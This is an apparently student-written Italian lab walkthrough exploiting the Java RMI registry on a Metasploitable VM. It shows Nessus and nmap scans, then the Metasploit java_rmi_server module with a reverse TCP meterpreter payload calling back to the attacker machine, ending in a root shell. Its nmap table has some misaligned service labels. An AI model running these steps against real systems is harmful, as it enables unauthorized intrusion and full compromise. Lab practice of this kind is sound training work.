

Java RMI

Indirizzi

Kali 192.168.99.111

Meta 192.168.99.112

*Inizio facendo uno scan con **Nessus***

INFO

RMI Registry Detection

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

To see debug logs, please visit individual host

Port ▲	Hosts
1099 / tcp / rmi_regist...	192.168.99.112

*Inoltre effettuo una scansione con **nmap***

nmap -sV sull'indirizzo di meta

```
kali
File Azioni Modifica Visualizza Aiuto
(kali@kalikali)-[~]
$ nmap 192.168.99.112 -sV
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 11:27 CEST
Nmap scan report for 192.168.99.112
Host is up (0.0010s latency).
Not shown: 981 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp   open  login          Netkit rshd
514/tcp   open  shell          GNU Classpath grmiregistry
1099/tcp  open  java-rmi       Metasploitable root shell
1524/tcp  open  bindshell      ProFTPD 1.3.1
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.54 seconds
```

nmap -script vuln -p 1099 192.168.99.112 per eseguire una scansione sulla porta 1099 dell'host 192.168.99.112 e capire se è vulnerabile

```
kali
File Azioni Modifica Visualizza Aiuto
(kali@kalikali)-[~]
$ nmap -script vuln -p 1099 192.168.99.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 12:26 CEST
Nmap scan report for 192.168.99.112
Host is up (0.0020s latency).

PORT      STATE SERVICE
1099/tcp  open  rmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|     RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
|   References:
|     https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
|_

Nmap done: 1 IP address (1 host up) scanned in 37.18 seconds
```

Avvio *msfconsole*

```
(kali@kalikali)-[~]
$ msfconsole

      .:ok000kdc'          'cdk000ko:.
      .x00000000000000c      c0000000000000x
      :000000000000000k,      ,k000000000000000:
      '000000000kkkk00000: :000000000000000000'
      o00000000.      .o0000o0000l.      ,00000000o
      d00000000.      .c00000c.      ,00000000x
      l00000000.      ;d;      ,00000000l
      .00000000.      +;      ;      ,00000000.
      c0000000.      .00c.      'o00.      ,0000000c
      o000000.      .0000.      :0000.      ,000000o
      l00000.      .0000.      :0000.      ,000000l
      ;0000'      .0000.      :0000.      ;0000;
      .d00o      .0000occc0000.      x00d.
      ,k0l      .00000000000000.      .d0k,
      :kk;      .00000000000000.      c0k:
      ;k0000000000000000k:
      ,x000000000000x,
      .l00000000l.
      ,dod,
      .
```

Cerco l'exploit con *search java_rmi*

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMICConnectionImpl Deserialization Privilege Escalation
```

Scelgo il 1

Con use *exploit/multi/misc/java_rmi_server*

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

Setto *RHOST* con **set RHOST 192.168.99.112** e faccio **show options** per verificare

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.99.112
RHOST => 192.168.99.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.99.112  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.99.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.
```

Successivamente avvio l'exploit con **run**

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.99.111:4444
[*] 192.168.99.112:1099 - Using URL: http://192.168.99.111:8080/kH1QjtTCxwQnJz
[*] 192.168.99.112:1099 - Server started.
[*] 192.168.99.112:1099 - Sending RMI Header ...
[*] 192.168.99.112:1099 - Sending RMI Call ...
[*] 192.168.99.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.99.112
[*] Meterpreter session 1 opened (192.168.99.111:4444 -> 192.168.99.112:50427) at 2023-06-16 11:18:10 +0200

meterpreter > 
```

Una volta entrati con *meterpreter* usiamo **ifconfig** per vedere la configurazione di rete di Meta
route per vedere le informazioni della tabella di routing di Meta
ps Visualizza un elenco dei processi in esecuzione nel sistema

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.99.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::d016:b5ff:fe54:605a
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
-----



| Subnet         | Netmask       | Gateway | Metric | Interface |
|----------------|---------------|---------|--------|-----------|
| 127.0.0.1      | 255.0.0.0     | 0.0.0.0 |        |           |
| 192.168.99.112 | 255.255.255.0 | 0.0.0.0 |        |           |



IPv6 network routes
-----



| Subnet                    | Netmask | Gateway | Metric | Interface |
|---------------------------|---------|---------|--------|-----------|
| ::1                       | ::      | ::      |        |           |
| fe80::d016:b5ff:fe54:605a | ::      | ::      |        |           |


```

con **shell** avvia una shell interattiva nel sistema target
id fornisce informazioni sull'utente sul sistema operativo
whoami restituisce il nome utente connesso al sistema
pwd per visualizzare la directory corrente
exit per uscire dalla shell

```
meterpreter > shell
Process 2 created.
Channel 3 created.
id
uid=0(root) gid=0(root)
whoami
root
pwd
/
exit
```